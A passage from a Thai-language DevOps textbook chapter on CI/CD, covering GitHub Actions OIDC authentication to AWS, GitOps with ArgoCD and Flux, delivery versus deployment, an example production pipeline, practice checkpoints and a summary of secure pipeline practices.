  • PR (อันตราย!): repo:OWNER/REPO:pull_request — ห้ามให้ assume role prod เพราะ PR จาก hacker จะใช้ได้

💡 เพิ่ม actor restriction ก็ได้ — จำกัดให้ assume role ได้เฉพาะคนใน team:

json
"token.actions.githubusercontent.com:actor": "alice"

Step 3: Workflow ใช้ OIDC

yaml
permissions:
  id-token: write     # ⭐ จำเป็น — ขอ JWT จาก GitHub
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123:role/github-deploy-production
          aws-region: us-east-1
          # ❌ ไม่ต้องมี aws-access-key-id อีกแล้ว!

      - run: aws s3 ls   # ใช้ได้เลย, action ฉีด credential ชั่วคราวให้อัตโนมัติ

Cloud อื่นก็มี OIDC

  • GCP — Workload Identity Federation (google-github-actions/auth@v2)
  • Azure — Federated identity credentials (azure/login@v2)
  • HashiCorp VaultJWT auth method

ปี 2026: OIDC = standard practice — อย่าใช้ static key เว้นแต่จำเป็น

GitOps (ArgoCD / Flux)

GitOps = Git เป็น single source of truth สำหรับ infra ทั้งหมด. Deploy ไม่ใช่การรัน kubectl apply ด้วยมือ แต่เป็น "การ commit เข้า config repo" แล้วให้ controller (ArgoCD/Flux) sync ให้เอง

💡 ArgoCD / Flux คืออะไร = controller ที่รันใน K8s, คอย watch config repo (Git) แล้ว sync state ของ cluster ให้ตรงกับสิ่งที่เขียนไว้ใน Git. ถ้ามีคนแก้ cluster ด้วยมือ ArgoCD จะแก้คืนเอง (drift detection)

  • ArgoCD = UI สวย, มี app-of-apps pattern (1 app manage หลาย app)
  • Flux = น้ำหนักเบากว่า, CLI-first, image automation ในตัว

Install ยังไง — ทั้งคู่ install ด้วย helm install หรือ kubectl apply จาก manifest official (ดู argo-cd.readthedocs.io / fluxcd.io). ดูรายละเอียดเต็มใน Kubernetes Book

Image updater — ใครเปลี่ยน tag ใน config repo

CI build image เสร็จ → ใครเป็นคนแก้ image tag ใน config repo? มี 3 แบบ:

  1. CI commit เอง — หลัง push image แล้วให้ CI workflow แก้ tag ใน config repo (kustomize edit set image หรือ yq แล้ว git commit). เรียบง่ายที่สุด
  2. ArgoCD Image Updater — plugin ของ ArgoCD ที่ poll registry หา image tag ใหม่แล้ว commit ให้เอง
  3. FluxCD Image Automation — Flux มี controller ทำเรื่องนี้ในตัว (ImageRepository + ImageUpdateAutomation)

🏛️ App-of-apps pattern (ArgoCD) — สำหรับองค์กรใหญ่ที่มี 100+ apps. สร้าง ArgoCD app ตัวเดียวที่ point ไปยัง repo รวมรายการ app ทั้งหมด แล้ว app นั้นสร้าง ArgoCD app ลูกอีกที — manage ทุก app จากที่เดียว

Continuous Delivery vs Deployment

text
Continuous Delivery (พร้อม deploy แต่รอคน):
  Code → build → test → พร้อม deploy แต่รอคนกดปุ่ม

Continuous Deployment (deploy อัตโนมัติ):
  Code → build → test → deploy อัตโนมัติเลยถ้า test ผ่าน

Netflix / GitHub / Etsy = Deployment (deploy อัตโนมัติเลย ไม่มีคนกด). Banking / Insurance = Delivery (เตรียมพร้อมแต่ให้คนกดอนุมัติก่อน — เพราะเสี่ยงสูง / มี regulation บังคับ)


26. Real-world Example — Full Pipeline

Pipeline ระดับ production ที่รวมทุกอย่างในบทนี้ — ตั้งแต่ PR (lint/test/scan/preview) ไปจนถึง main (build/deploy staging/canary/monitor/rollback) ลองไล่ดูว่า commit เดียวเดินทางผ่านอะไรบ้างกว่าจะถึง production ทุกคำในลิสต์นี้ผ่านการอธิบายมาแล้วในหัวข้อก่อนหน้า — อ่านเป็น "แผนที่สรุป" ไม่ต้องจำคำใหม่เพิ่ม:

text
1. Dev commit + push code
2. PR ถูกเปิด
   ├── Lint (eslint / checkstyle — ตรวจ style code)
   ├── Type check (TypeScript / mypy)
   ├── Unit tests (ทดสอบฟังก์ชันเดี่ยว)
   ├── Integration tests (ทดสอบกับ DB จริง)
   ├── Security scan (Snyk, CodeQL — หา CVE + บั๊กความปลอดภัย)
   ├── Build Docker image
   ├── Container scan (Trivy — สแกน image หา CVE)
   ├── Deploy preview environment (PR ละ 1 environment)
   ├── E2E tests รันบน preview
   └── คอมเมนต์ URL ของ preview กลับมาที่ PR
3. PR approved + merge เข้า main
4. Main pipeline:
   ├── รัน test ทั้งหมดข้างบนซ้ำ
   ├── Build + push image เข้า registry
   ├── Deploy ขึ้น staging
   ├── E2E tests บน staging
   ├── Performance tests (load test)
   ├── Auto-deploy ขึ้น production แบบ canary (10% ก่อน)
   ├── เฝ้าดู metric 30 นาที (error rate, latency, business KPI)
   ├── ถ้า OK: ขยายเป็น 100%
   └── แจ้ง Slack
5. Production monitoring
   └── Auto-rollback ถ้า error rate พุ่งสูง

15-30 นาที จาก commit → production


27. Checkpoint

แบบฝึกหัดไล่จากสร้าง workflow แรก ไปจนถึง multi-job pipeline, deploy, security scan และ notification:

🛠️ Checkpoint 5.1 — First Workflow

  • Create .github/workflows/ci.yml
  • Run lint + test on push + PR
  • Add status badge to README

🛠️ Checkpoint 5.2 — Multi-job Pipeline

  • 3 jobs: lint, test, build
  • needs: dependency
  • Matrix build (Node 18, 20)
  • Cache deps

🛠️ Checkpoint 5.3 — Deploy

  • Build + push Docker image to GHCR
  • Deploy to staging on push to main
  • Deploy to prod on workflow_dispatch with approval

🛠️ Checkpoint 5.4 — Security

  • Add Snyk / Dependabot
  • Add Trivy container scan
  • Block merge if HIGH/CRITICAL CVE (CVE = Common Vulnerabilities and Exposures, รหัสช่องโหว่ความปลอดภัยมาตรฐาน — ขยายตั้งแต่ใช้ครั้งแรกในข้อ 15)

🛠️ Checkpoint 5.5 — Notification

  • Slack webhook on deploy success/fail
  • Custom message with commit + author

28. สรุปบท

สิ่งที่ควรเข้าใจหลังจบบทนี้:

✅ CI = build + test อัตโนมัติทุก commit, CD = ส่ง/deploy อัตโนมัติ ✅ GitHub Actions = มาตรฐานปี 2026 — ฟรีสำหรับ public repo และผูกกับ GitHub แน่น ✅ โครงสร้าง: Workflow → Jobs → Steps ✅ Trigger ที่ใช้บ่อย: push, PR, schedule (cron), manual, release ✅ เก็บค่าลับใน GitHub Secrets, ใช้ environment แยก prod ✅ กลยุทธ์ deploy: rolling / blue-green / canary / feature flag ✅ Test pyramid: unit เยอะสุด > integration > E2E ✅ Cache dep + matrix build + reusable workflow = pipeline เร็ว ✅ Security scan ใน CI: SAST, dependency, container image, IaC ✅ GitOps (ArgoCD/Flux) = deploy = commit เข้า config repo ✅ OIDC สำหรับ cloud auth — เลิกใช้ static key ✅ Supply chain security 2026: pin SHA, provenance, SBOM, Cosign signing ✅ Pin action ตามเวอร์ชัน/SHA + ให้ permission น้อยที่สุด + ดูแล secret ให้สะอาด


← ก่อนหน้า: Kubernetes Book | บทที่ 6 → Cloud Platforms


🔤 Glossary · 📋 Style guide · 📅 last_verified: 2026-06-03